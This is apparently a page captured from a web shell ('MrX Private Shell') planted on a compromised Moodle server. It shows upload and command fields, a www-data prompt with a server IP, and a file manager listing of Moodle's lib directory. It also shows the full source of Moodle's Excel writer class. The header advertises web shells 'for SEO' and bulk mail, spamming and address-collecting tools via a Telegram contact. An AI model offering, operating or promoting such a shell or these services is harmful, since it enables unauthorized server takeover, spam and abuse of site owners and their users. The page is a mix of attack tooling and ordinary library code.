__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.198: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Excel writer abstraction layer.
 *
 * @copyright  (C) 2001-3001 Eloy Lafuente (stronk7) {@link http://contiento.com}
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package    core
 */

defined('MOODLE_INTERNAL') || die();

use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\IOFactory;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
use PhpOffice\PhpSpreadsheet\Cell\DataType;
use PhpOffice\PhpSpreadsheet\Shared\Date;
use PhpOffice\PhpSpreadsheet\Style\Alignment;
use PhpOffice\PhpSpreadsheet\Style\Border;
use PhpOffice\PhpSpreadsheet\Style\Fill;
use PhpOffice\PhpSpreadsheet\Style\Font;
use PhpOffice\PhpSpreadsheet\Style\NumberFormat;
use PhpOffice\PhpSpreadsheet\Worksheet\Drawing;
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;

/**
 * Define and operate over one Moodle Workbook.
 *
 * This class acts as a wrapper around another library
 * maintaining Moodle functions isolated from underlying code.
 *
 * @copyright 1999 onwards Martin Dougiamas  {@link http://moodle.com}
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package moodlecore
 */
class MoodleExcelWorkbook {
    /** @var \PhpOffice\PhpSpreadsheet\Spreadsheet */
    protected $objspreadsheet;

    /** @var string */
    protected $filename;

    /** @var string format type */
    protected $type;

    /**
     * Constructs one Moodle Workbook.
     *
     * @param string $filename The name of the file
     * @param string $type file format type used to be 'Xls or Xlsx' but now only 'Xlsx'
     */
    public function __construct($filename, $type = 'Xlsx') {
        global $CFG;

        $this->objspreadsheet = new Spreadsheet();
        $this->objspreadsheet->removeSheetByIndex(0);

        $this->filename = $filename;

        if (strtolower($type) === 'Xls') {
            debugging('Xls is no longer supported, using Xlsx instead');
            $this->type = 'Xlsx';
        } else {
            $this->type = 'Xlsx';
        }
    }

    /**
     * Create one Moodle Worksheet
     *
     * @param string $name Name of the sheet
     * @return MoodleExcelWorksheet
     */
    public function add_worksheet($name = '') {
        return new MoodleExcelWorksheet($name, $this->objspreadsheet);
    }

    /**
     * Create one cell Format.
     *
     * @param array $properties array of properties [name]=value;
     *                          valid names are set_XXXX existing
     *                          functions without the set_ part
     *                          i.e: [bold]=1 for set_bold(1)...Optional!
     * @return MoodleExcelFormat
     */
    public function add_format($properties = array()) {
        return new MoodleExcelFormat($properties);
    }

    /**
     * Close the Moodle Workbook
     */
    public function close() {
        global $CFG;

        foreach ($this->objspreadsheet->getAllSheets() as $sheet) {
            $sheet->setSelectedCells('A1');
        }
        $this->objspreadsheet->setActiveSheetIndex(0);

        $filename = preg_replace('/\.xlsx?$/i', '', $this->filename);

        $mimetype = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
        $filename = $filename.'.xlsx';

        if (is_https()) { // HTTPS sites - watch out for IE! KB812935 and KB316431.
            header('Cache-Control: max-age=10');
            header('Expires: '. gmdate('D, d M Y H:i:s', 0) .' GMT');
            header('Pragma: ');
        } else { //normal http - prevent caching at all cost
            header('Cache-Control: private, must-revalidate, pre-check=0, post-check=0, max-age=0');
            header('Expires: '. gmdate('D, d M Y H:i:s', 0) .' GMT');
            header('Pragma: no-cache');
        }

        if (core_useragent::is_ie() || core_useragent::is_edge()) {
            $filename = rawurlencode($filename);
        } else {
            $filename = s($filename);
        }

        header('Content-Type: '.$mimetype);
        header('Content-Disposition: attachment;filename="'.$filename.'"');

        $objwriter = IOFactory::createWriter($this->objspreadsheet, $this->type);
        $objwriter->save('php://output');
    }

    /**
     * Not required to use.
     * @param string $filename Name of the downloaded file
     */
    public function send($filename) {
        $this->filename = $filename;
    }
}

/**
 * Define and operate over one Worksheet.
 *
 * This class acts as a wrapper around another library
 * maintaining Moodle functions isolated from underlying code.
 *
 * @copyright 1999 onwards Martin Dougiamas  {@link http://moodle.com}
 * @license   http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package   core
 */
class MoodleExcelWorksheet {
    /** @var Worksheet */
    protected $worksheet;

    /**
     * Constructs one Moodle Worksheet.
     *
     * @param string $name The name of the file
     * @param Spreadsheet $workbook The internal Workbook object we are creating.
     */
    public function __construct($name, Spreadsheet $workbook) {
        // Replace any characters in the name that Excel cannot cope with.
        $name = strtr(trim($name, "'"), '[]*/\?:', '       ');
        // Shorten the title if necessary.
        $name = core_text::substr($name, 0, 31);
        // After the substr, we might now have a single quote on the end.
        $name = trim($name, "'");

        if ($name === '') {
            // Name is required!
            $name = 'Sheet'.($workbook->getSheetCount()+1);
        }

        $this->worksheet = new Worksheet($workbook, $name);
        $this->worksheet->setPrintGridlines(false);

        $workbook->addSheet($this->worksheet);
    }

    /**
     * Write one string somewhere in the worksheet.
     *
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param string  $str    The string to write
     * @param mixed   $format The XF format for the cell
     */
    public function write_string($row, $col, $str, $format = null) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $this->worksheet->getStyleByColumnAndRow($col, $row + 1)->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_TEXT);
        $this->worksheet->setCellValueExplicitByColumnAndRow($col, $row + 1, $str, DataType::TYPE_STRING);
        $this->apply_format($row, $col, $format);
    }

    /**
     * Write one number somewhere in the worksheet.
     *
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param float   $num    The number to write
     * @param mixed   $format The XF format for the cell
     */
    public function write_number($row, $col, $num, $format = null) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $this->worksheet->getStyleByColumnAndRow($col, $row + 1)->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_GENERAL);
        $this->worksheet->setCellValueExplicitByColumnAndRow($col, $row + 1, $num, DataType::TYPE_NUMERIC);
        $this->apply_format($row, $col, $format);
    }

    /**
     * Write one url somewhere in the worksheet.
     *
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param string  $url    The url to write
     * @param mixed   $format The XF format for the cell
     */
    public function write_url($row, $col, $url, $format = null) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $this->worksheet->setCellValueByColumnAndRow($col, $row + 1, $url);
        $this->worksheet->getCellByColumnAndRow($col, $row + 1)->getHyperlink()->setUrl($url);
        $this->apply_format($row, $col, $format);
    }

    /**
     * Write one date somewhere in the worksheet.
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param int     $date   The date to write in UNIX timestamp format
     * @param mixed   $format The XF format for the cell
     */
    public function write_date($row, $col, $date, $format = null) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $getdate = usergetdate($date);
        $exceldate = Date::FormattedPHPToExcel(
            $getdate['year'],
            $getdate['mon'],
            $getdate['mday'],
            $getdate['hours'],
            $getdate['minutes'],
            $getdate['seconds']
        );

        $this->worksheet->setCellValueByColumnAndRow($col, $row + 1, $exceldate);
        $style = $this->worksheet->getStyleByColumnAndRow($col, $row + 1);
        $style->getNumberFormat()->setFormatCode(NumberFormat::FORMAT_DATE_XLSX22);
        $this->apply_format($row, $col, $format);
    }

    /**
     * Write one formula somewhere in the worksheet.
     *
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param string  $formula The formula to write
     * @param mixed   $format The XF format for the cell
     */
    public function write_formula($row, $col, $formula, $format = null) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $this->worksheet->setCellValueExplicitByColumnAndRow($col, $row + 1, $formula, DataType::TYPE_FORMULA);
        $this->apply_format($row, $col, $format);
    }

    /**
     * Write one blank somewhere in the worksheet.
     *
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param mixed   $format The XF format for the cell
     */
    public function write_blank($row, $col, $format = null) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $this->worksheet->setCellValueByColumnAndRow($col, $row + 1, '');
        $this->apply_format($row, $col, $format);
    }

    /**
     * Write anything somewhere in the worksheet,
     * type will be automatically detected.
     *
     * @param integer $row    Zero indexed row
     * @param integer $col    Zero indexed column
     * @param mixed   $token  What we are writing
     * @param mixed   $format The XF format for the cell
     */
    public function write($row, $col, $token, $format = null) {
        // Analyse what are we trying to send.
        if (preg_match("/^([+-]?)(?=\d|\.\d)\d*(\.\d*)?([Ee]([+-]?\d+))?$/", $token)) {
            // Match number
            return $this->write_number($row, $col, $token, $format);
        } elseif (preg_match("/^[fh]tt?p:\/\//", $token)) {
            // Match http or ftp URL
            return $this->write_url($row, $col, $token, '', $format);
        } elseif (preg_match("/^mailto:/", $token)) {
            // Match mailto:
            return $this->write_url($row, $col, $token, '', $format);
        } elseif (preg_match("/^(?:in|ex)ternal:/", $token)) {
            // Match internal or external sheet link
            return $this->write_url($row, $col, $token, '', $format);
        } elseif (preg_match("/^=/", $token)) {
            // Match formula
            return $this->write_formula($row, $col, $token, $format);
        } elseif (preg_match("/^@/", $token)) {
            // Match formula
            return $this->write_formula($row, $col, $token, $format);
        } elseif ($token == '') {
            // Match blank
            return $this->write_blank($row, $col, $format);
        } else {
            // Default: match string
            return $this->write_string($row, $col, $token, $format);
        }
    }

    /**
     * Sets the height (and other settings) of one row.
     *
     * @param integer $row    The row to set
     * @param integer $height Height we are giving to the row (null to set just format without setting the height)
     * @param mixed   $format The optional format we are giving to the row
     * @param bool    $hidden The optional hidden attribute
     * @param integer $level  The optional outline level (0-7)
     */
    public function set_row($row, $height, $format = null, $hidden = false, $level = 0) {
        if ($level < 0) {
            $level = 0;
        } else if ($level > 7) {
            $level = 7;
        }
        if (isset($height)) {
            $this->worksheet->getRowDimension($row + 1)->setRowHeight($height);
        }
        $this->worksheet->getRowDimension($row + 1)->setVisible(!$hidden);
        $this->worksheet->getRowDimension($row + 1)->setOutlineLevel($level);
        $this->apply_row_format($row, $format);
    }

    /**
     * Sets the width (and other settings) of one column.
     *
     * @param integer $firstcol first column on the range
     * @param integer $lastcol  last column on the range
     * @param integer $width    width to set  (null to set just format without setting the width)
     * @param mixed   $format   The optional format to apply to the columns
     * @param bool    $hidden   The optional hidden attribute
     * @param integer $level    The optional outline level (0-7)
     */
    public function set_column($firstcol, $lastcol, $width, $format = null, $hidden = false, $level = 0) {
        if ($level < 0) {
            $level = 0;
        } else if ($level > 7) {
            $level = 7;
        }
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $i = $firstcol + 1;
        while ($i <= $lastcol + 1) {
            if (isset($width)) {
                $this->worksheet->getColumnDimensionByColumn($i)->setWidth($width);
            }
            $this->worksheet->getColumnDimensionByColumn($i)->setVisible(!$hidden);
            $this->worksheet->getColumnDimensionByColumn($i)->setOutlineLevel($level);
            $this->apply_column_format($i, $format);
            $i++;
        }
    }

   /**
    * Set the option to hide grid lines on the printed page.
    */
    public function hide_gridlines() {
        // Not implemented - always off.
    }

   /**
    * Set the option to hide gridlines on the worksheet (as seen on the screen).
    */
    public function hide_screen_gridlines() {
        $this->worksheet->setShowGridlines(false);
    }

   /**
    * Insert an image in a worksheet.
    *
    * @param integer $row     The row we are going to insert the bitmap into
    * @param integer $col     The column we are going to insert the bitmap into
    * @param string  $bitmap  The bitmap filename
    * @param integer $x       The horizontal position (offset) of the image inside the cell.
    * @param integer $y       The vertical position (offset) of the image inside the cell.
    * @param integer $scalex The horizontal scale
    * @param integer $scaley The vertical scale
    */
    public function insert_bitmap($row, $col, $bitmap, $x = 0, $y = 0, $scalex = 1, $scaley = 1) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $col += 1;

        $objdrawing = new Drawing();
        $objdrawing->setPath($bitmap);
        $objdrawing->setCoordinates(Coordinate::stringFromColumnIndex($col) . ($row + 1));
        $objdrawing->setOffsetX($x);
        $objdrawing->setOffsetY($y);
        $objdrawing->setWorksheet($this->worksheet);
        if ($scalex != 1) {
            $objdrawing->setResizeProportional(false);
            $objdrawing->getWidth($objdrawing->getWidth() * $scalex);
        }
        if ($scaley != 1) {
            $objdrawing->setResizeProportional(false);
            $objdrawing->setHeight($objdrawing->getHeight() * $scaley);
        }
    }

   /**
    * Merges the area given by its arguments.
    *
    * @param integer $firstrow First row of the area to merge
    * @param integer $firstcol First column of the area to merge
    * @param integer $lastrow  Last row of the area to merge
    * @param integer $lastcol  Last column of the area to merge
    */
    public function merge_cells($firstrow, $firstcol, $lastrow, $lastcol) {
        // For PhpSpreadsheet library, the column indexes start on 1 (instead of 0 as before).
        $this->worksheet->mergeCellsByColumnAndRow($firstcol + 1, $firstrow + 1, $lastcol + 1, $lastrow + 1);
    }

    protected function apply_format($row, $col, $format = null) {
        if (!$format) {
            $format = new MoodleExcelFormat();
        } else if (is_array($format)) {
            $format = new MoodleExcelFormat($format);
        }
        $this->worksheet->getStyleByColumnAndRow($col, $row + 1)->applyFromArray($format->get_format_array());
    }

    protected function apply_column_format($col, $format = null) {
        if (!$format) {
            $format = new MoodleExcelFormat();
        } else if (is_array($format)) {
            $format = new MoodleExcelFormat($format);
        }
        $this->worksheet->getStyle(Coordinate::stringFromColumnIndex($col))->applyFromArray($format->get_format_array());
    }

    protected function apply_row_format($row, $format = null) {
        if (!$format) {
            $format = new MoodleExcelFormat();
        } else if (is_array($format)) {
            $format = new MoodleExcelFormat($format);
        }
        $this->worksheet->getStyle($row + 1)->applyFromArray($format->get_format_array());
    }
}


/**
 * Define and operate over one Format.
 *
 * A big part of this class acts as a wrapper over other libraries
 * maintaining Moodle functions isolated from underlying code.
 *
 * @copyright 1999 onwards Martin Dougiamas  {@link http://moodle.com}
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @package moodlecore
 */
class MoodleExcelFormat {
    /** @var array */
    protected $format = array();

    /**
     * Constructs one Moodle Format.
     *
     * @param array $properties
     */
    public function __construct($properties = array()) {
        // If we have something in the array of properties, compute them
        foreach($properties as $property => $value) {
            if(method_exists($this,"set_$property")) {
                $aux = 'set_'.$property;
                $this->$aux($value);
            }
        }
    }

    /**
     * Returns standardised Excel format array.
     * @private
     *
     * @return array
     */
    public function get_format_array() {
        return $this->format;
    }
    /**
     * Set the size of the text in the format (in pixels).
     * By default all texts in generated sheets are 10pt.
     *
     * @param integer $size Size of the text (in points)
     */
    public function set_size($size) {
        $this->format['font']['size'] = $size;
    }

    /**
     * Set weight of the format.
     *
     * @param integer $weight Weight for the text, 0 maps to 400 (normal text),
     *                        1 maps to 700 (bold text). Valid range is: 100-1000.
     *                        It's Optional, default is 1 (bold).
     */
    public function set_bold($weight = 1) {
        if ($weight == 1) {
            $weight = 700;
        }
        $this->format['font']['bold'] = ($weight > 400);
    }

    /**
     * Set underline of the format.
     *
     * @param integer $underline The value for underline. Possible values are:
     *                           1 => underline, 2 => double underline
     */
    public function set_underline($underline) {
        if ($underline == 1) {
            $this->format['font']['underline'] = Font::UNDERLINE_SINGLE;
        } else if ($underline == 2) {
            $this->format['font']['underline'] = Font::UNDERLINE_DOUBLE;
        } else {
            $this->format['font']['underline'] = Font::UNDERLINE_NONE;
        }
    }

    /**
     * Set italic of the format.
     */
    public function set_italic() {
        $this->format['font']['italic'] = true;
    }

    /**
     * Set strikeout of the format.
     */
    public function set_strikeout() {
        $this->format['font']['strikethrough'] = true;
    }

    /**
     * Set outlining of the format.
     */
    public function set_outline() {
        // Not implemented.
    }

    /**
     * Set shadow of the format.
     */
    public function set_shadow() {
        // Not implemented.
    }

    /**
     * Set the script of the text.
     *
     * @param integer $script The value for script type. Possible values are:
     *                        1 => superscript, 2 => subscript
     */
    public function set_script($script) {
        if ($script == 1) {
            $this->format['font']['superscript'] = true;
        } else if ($script == 2) {
            $this->format['font']['subscript'] = true;
        } else {
            $this->format['font']['superscript'] = false;
            $this->format['font']['subscript'] = false;
        }
    }

    /**
     * Set color of the format. Used to specify the color of the text to be formatted.
     *
     * @param mixed $color either a string (like 'blue'), or an integer (range is [8...63])
     */
    public function set_color($color) {
        $this->format['font']['color']['rgb'] = $this->parse_color($color);
    }

    /**
     * Standardise colour name.
     *
     * @param mixed $color name of the color (i.e.: 'blue', 'red', etc..), or an integer (range is [8...63]).
     * @return string the RGB color value
     */
    protected function parse_color($color) {
        if (strpos($color, '#') === 0) {
            // No conversion should be needed.
            return substr($color, 1);
        }

        if ($color > 7 and $color < 53) {
            $numbers = array(
                8  => 'black',
                12 => 'blue',
                16 => 'brown',
                15 => 'cyan',
                23 => 'gray',
                17 => 'green',
                11 => 'lime',
                14 => 'magenta',
                18 => 'navy',
                53 => 'orange',
                33 => 'pink',
                20 => 'purple',
                10 => 'red',
                22 => 'silver',
                9  => 'white',
                13 => 'yellow',
            );
            if (isset($numbers[$color])) {
                $color = $numbers[$color];
            } else {
                $color = 'black';
            }
        }

        $colors = array(
            'aqua'    => '00FFFF',
            'black'   => '000000',
            'blue'    => '0000FF',
            'brown'   => 'A52A2A',
            'cyan'    => '00FFFF',
            'fuchsia' => 'FF00FF',
            'gray'    => '808080',
            'grey'    => '808080',
            'green'   => '00FF00',
            'lime'    => '00FF00',
            'magenta' => 'FF00FF',
            'maroon'  => '800000',
            'navy'    => '000080',
            'orange'  => 'FFA500',
            'olive'   => '808000',
            'pink'    => 'FAAFBE',
            'purple'  => '800080',
            'red'     => 'FF0000',
            'silver'  => 'C0C0C0',
            'teal'    => '008080',
            'white'   => 'FFFFFF',
            'yellow'  => 'FFFF00',
        );

        if (isset($colors[$color])) {
            return($colors[$color]);
        }

        return($colors['black']);
    }

    /**
     * Not used.
     *
     * @param mixed $color
     */
    public function set_fg_color($color) {
        // Not implemented.
    }

    /**
     * Set background color of the cell.
     *
     * @param mixed $color either a string (like 'blue'), or an integer (range is [8...63])
     */
    public function set_bg_color($color) {
        if (!isset($this->format['fill']['fillType'])) {
            $this->format['fill']['fillType'] = Fill::FILL_SOLID;
        }
        $this->format['fill']['color']['rgb'] = $this->parse_color($color);
    }

    /**
     * Set the cell fill pattern.
     *
     * @deprecated use set_bg_color() instead.
     * @param integer
     */
    public function set_pattern($pattern=1) {
        if ($pattern > 0) {
            if (!isset($this->format['fill']['color']['rgb'])) {
                $this->set_bg_color('black');
            }
        } else {
            unset($this->format['fill']['color']['rgb']);
            unset($this->format['fill']['fillType']);
        }
    }

    /**
     * Set text wrap of the format.
     */
    public function set_text_wrap() {
        $this->format['alignment']['wrapText'] = true;
    }

    /**
     * Set the cell alignment of the format.
     *
     * @param string $location alignment for the cell ('left', 'right', 'justify', etc...)
     */
    public function set_align($location) {
        if (in_array($location, array('left', 'centre', 'center', 'right', 'fill', 'merge', 'justify', 'equal_space'))) {
            $this->set_h_align($location);

        } else if (in_array($location, array('top', 'vcentre', 'vcenter', 'bottom', 'vjustify', 'vequal_space'))) {
            $this->set_v_align($location);
        }
    }

    /**
     * Set the cell horizontal alignment of the format.
     *
     * @param string $location alignment for the cell ('left', 'right', 'justify', etc...)
     */
    public function set_h_align($location) {
        switch ($location) {
            case 'left':
                $this->format['alignment']['horizontal'] = Alignment::HORIZONTAL_LEFT;
                break;
            case 'center':
            case 'centre':
                $this->format['alignment']['horizontal'] = Alignment::HORIZONTAL_CENTER;
                break;
            case 'right':
                $this->format['alignment']['horizontal'] = Alignment::HORIZONTAL_RIGHT;
                break;
            case 'justify':
                $this->format['alignment']['horizontal'] = Alignment::HORIZONTAL_JUSTIFY;
                break;
            default:
                $this->format['alignment']['horizontal'] = Alignment::HORIZONTAL_GENERAL;
        }
    }

    /**
     * Set the cell vertical alignment of the format.
     *
     * @param string $location alignment for the cell ('top', 'bottom', 'center', 'justify')
     */
    public function set_v_align($location) {
        switch ($location) {
            case 'top':
                $this->format['alignment']['vertical'] = Alignment::VERTICAL_TOP;
                break;
            case 'vcentre':
            case 'vcenter':
            case 'centre':
            case 'center':
                $this->format['alignment']['vertical'] = Alignment::VERTICAL_CENTER;
                break;
            case 'vjustify':
            case 'justify':
                $this->format['alignment']['vertical'] = Alignment::VERTICAL_JUSTIFY;
                break;
            default:
                $this->format['alignment']['vertical'] = Alignment::VERTICAL_BOTTOM;
        }
    }

    /**
     * Set the top border of the format.
     *
     * @param integer $style style for the cell. 1 => thin, 2 => thick
     */
    public function set_top($style) {
        if ($style == 1) {
            $this->format['borders']['top']['borderStyle'] = Border::BORDER_THIN;
        } else if ($style == 2) {
            $this->format['borders']['top']['borderStyle'] = Border::BORDER_THICK;
        } else {
            $this->format['borders']['top']['borderStyle'] = Border::BORDER_NONE;
        }
    }

    /**
     * Set the bottom border of the format.
     *
     * @param integer $style style for the cell. 1 => thin, 2 => thick
     */
    public function set_bottom($style) {
        if ($style == 1) {
            $this->format['borders']['bottom']['borderStyle'] = Border::BORDER_THIN;
        } else if ($style == 2) {
            $this->format['borders']['bottom']['borderStyle'] = Border::BORDER_THICK;
        } else {
            $this->format['borders']['bottom']['borderStyle'] = Border::BORDER_NONE;
        }
    }

    /**
     * Set the left border of the format.
     *
     * @param integer $style style for the cell. 1 => thin, 2 => thick
     */
    public function set_left($style) {
        if ($style == 1) {
            $this->format['borders']['left']['borderStyle'] = Border::BORDER_THIN;
        } else if ($style == 2) {
            $this->format['borders']['left']['borderStyle'] = Border::BORDER_THICK;
        } else {
            $this->format['borders']['left']['borderStyle'] = Border::BORDER_NONE;
        }
    }

    /**
     * Set the right border of the format.
     *
     * @param integer $style style for the cell. 1 => thin, 2 => thick
     */
    public function set_right($style) {
        if ($style == 1) {
            $this->format['borders']['right']['borderStyle'] = Border::BORDER_THIN;
        } else if ($style == 2) {
            $this->format['borders']['right']['borderStyle'] = Border::BORDER_THICK;
        } else {
            $this->format['borders']['right']['borderStyle'] = Border::BORDER_NONE;
        }
    }

    /**
     * Set cells borders to the same style.
     *
     * @param integer $style style to apply for all cell borders. 1 => thin, 2 => thick.
     */
    public function set_border($style) {
        $this->set_top($style);
        $this->set_bottom($style);
        $this->set_left($style);
        $this->set_right($style);
    }

    /**
     * Set the numerical format of the format.
     * It can be date, time, currency, etc...
     *
     * @param mixed $numformat The numeric format
     */
    public function set_num_format($numformat) {
        $numbers = array();

        $numbers[1] = '0';
        $numbers[2] = '0.00';
        $numbers[3] = '#,##0';
        $numbers[4] = '#,##0.00';
        $numbers[11] = '0.00E+00';
        $numbers[12] = '# ?/?';
        $numbers[13] = '# ??/??';
        $numbers[14] = 'mm-dd-yy';
        $numbers[15] = 'd-mmm-yy';
        $numbers[16] = 'd-mmm';
        $numbers[17] = 'mmm-yy';
        $numbers[22] = 'm/d/yy h:mm';
        $numbers[49] = '@';

        if ($numformat !== 0 and in_array($numformat, $numbers)) {
            $this->format['numberFormat']['formatCode'] = $numformat;
        }

        if (!isset($numbers[$numformat])) {
            return;
        }

        $this->format['numberFormat']['formatCode'] = $numbers[$numformat];
    }
}

Filemanager

Name Type Size Permission Actions
adodb Folder 0755
ajax Folder 0755
amd Folder 0755
antivirus Folder 0755
aws-sdk Folder 0755
behat Folder 0755
bennu Folder 0755
classes Folder 0755
db Folder 0755
ddl Folder 0755
dml Folder 0755
dtl Folder 0755
editor Folder 0755
emoji-data Folder 0755
evalmath Folder 0755
external Folder 0755
filebrowser Folder 0755
filestorage Folder 0755
fonts Folder 0755
form Folder 0755
geopattern-php Folder 0755
giggsey Folder 0755
google Folder 0755
grade Folder 0755
guzzlehttp Folder 0755
html2text Folder 0755
htmlpurifier Folder 0755
jmespath Folder 0755
jquery Folder 0755
laravel Folder 0755
lti1p3 Folder 0755
ltiprovider Folder 0755
markdown Folder 0755
maxmind Folder 0755
minify Folder 0755
mlbackend Folder 0755
mustache Folder 0755
nikic Folder 0755
openspout Folder 0755
pear Folder 0755
php-css-parser Folder 0755
php-di Folder 0755
php-enum Folder 0755
php-jwt Folder 0755
phpmailer Folder 0755
phpspreadsheet Folder 0755
phpunit Folder 0755
phpxmlrpc Folder 0755
plist Folder 0755
polyfills Folder 0755
portfolio Folder 0755
psr Folder 0755
ralouphie Folder 0755
requirejs Folder 0755
rtlcss Folder 0755
scssphp Folder 0755
simplepie Folder 0755
slim Folder 0755
spatie Folder 0755
symfony Folder 0755
table Folder 0755
tcpdf Folder 0755
templates Folder 0755
testing Folder 0755
tests Folder 0755
userkey Folder 0755
webauthn Folder 0755
xapi Folder 0755
xhprof Folder 0755
xmldb Folder 0755
yui Folder 0755
yuilib Folder 0755
zipstream Folder 0755
UPGRADING.md File 26.35 KB 0644
accesslib.php File 184.94 KB 0644
adminlib.php File 398.39 KB 0644
apis.json File 7.09 KB 0644
apis.schema.json File 1.06 KB 0644
authlib.php File 46.33 KB 0644
badgeslib.php File 55.15 KB 0644
blocklib.php File 106.57 KB 0644
cacert.pem File 239.21 KB 0644
cacert.txt File 811 B 0644
clilib.php File 9.58 KB 0644
completionlib.php File 70.38 KB 0644
componentlib.class.php File 29.51 KB 0644
components.json File 3.98 KB 0644
conditionlib.php File 1.11 KB 0644
configonlylib.php File 8.19 KB 0644
cookies.js File 2.37 KB 0644
cronlib.php File 1.07 KB 0644
csslib.php File 6.81 KB 0644
csvlib.class.php File 17.72 KB 0644
customcheckslib.php File 1.5 KB 0644
datalib.php File 85.59 KB 0644
ddllib.php File 4.72 KB 0644
default.ttf File 502.23 KB 0644
deprecatedlib.php File 25.18 KB 0644
dmllib.php File 12.47 KB 0644
dtllib.php File 2.58 KB 0644
editorlib.php File 6.43 KB 0644
emptyfile.php File 809 B 0644
enrollib.php File 138.47 KB 0644
environmentlib.php File 58.32 KB 0644
excellib.class.php File 30.24 KB 0644
externallib.php File 9.54 KB 0644
filelib.php File 204.42 KB 0644
filterlib.php File 42.89 KB 0644
flickrclient.php File 10.1 KB 0644
flickrlib.php File 52.19 KB 0644
formslib.php File 151.53 KB 0644
gdlib.php File 17.71 KB 0644
googleapi.php File 9.48 KB 0644
gradelib.php File 62.29 KB 0644
graphlib.php File 86.81 KB 0644
grouplib.php File 59.67 KB 0644
index.html File 1 B 0644
installlib.php File 18.79 KB 0644
javascript-static.js File 42.38 KB 0644
javascript.php File 4.11 KB 0644
jslib.php File 4.21 KB 0644
jssourcemap.php File 2.51 KB 0644
ldaplib.php File 18.19 KB 0644
lexer.php File 15.92 KB 0644
licenselib.php File 12.42 KB 0644
licenses.json File 2.29 KB 0644
listlib.php File 29.37 KB 0644
mathslib.php File 4.47 KB 0644
messagelib.php File 32.76 KB 0644
modinfolib.php File 143.39 KB 0644
moodlelib.php File 359 KB 0644
myprofilelib.php File 18.35 KB 0644
navigationlib.php File 264.31 KB 0644
oauthlib.php File 24.97 KB 0644
odslib.class.php File 57.65 KB 0644
outputactions.php File 1.04 KB 0644
outputcomponents.php File 1.04 KB 0644
outputfactories.php File 1.04 KB 0644
outputfragmentrequirementslib.php File 1.04 KB 0644
outputlib.php File 11.99 KB 0644
outputrenderers.php File 1.04 KB 0644
outputrequirementslib.php File 1.04 KB 0644
pagelib.php File 91.58 KB 0644
pdflib.php File 10.11 KB 0644
phpminimumversionlib.php File 3.08 KB 0644
plagiarismlib.php File 3.38 KB 0644
plugins.json File 15.21 KB 0644
plugins.schema.json File 1.28 KB 0644
portfoliolib.php File 53.58 KB 0644
questionlib.php File 79.14 KB 0644
recaptchalib_v2.php File 6.53 KB 0644
requirejs.php File 7.4 KB 0644
resourcelib.php File 8.89 KB 0644
rsslib.php File 17.94 KB 0644
searchlib.php File 17.29 KB 0644
sessionlib.php File 4.86 KB 0644
setup.php File 43.98 KB 0644
setuplib.php File 62.59 KB 0644
soaplib.php File 5.28 KB 0644
statslib.php File 67.81 KB 0644
tablelib.php File 1.47 KB 0644
thirdpartylibs.xml File 31.13 KB 0644
tokeniserlib.php File 16.69 KB 0644
upgrade.txt File 180.01 KB 0644
upgradelib.php File 107.07 KB 0644
uploadlib.php File 1.9 KB 0644
validateurlsyntax.php File 23.05 KB 0644
wasmlib.php File 4.29 KB 0644
webdavlib.php File 69.59 KB 0644
weblib.php File 92.3 KB 0644
wiki_to_markdown.php File 13.08 KB 0644
wordlist.txt File 1.23 KB 0644
xhtml.xsl File 223 B 0644
xmlize.php File 8.82 KB 0644
xsendfilelib.php File 3.02 KB 0644
Filemanager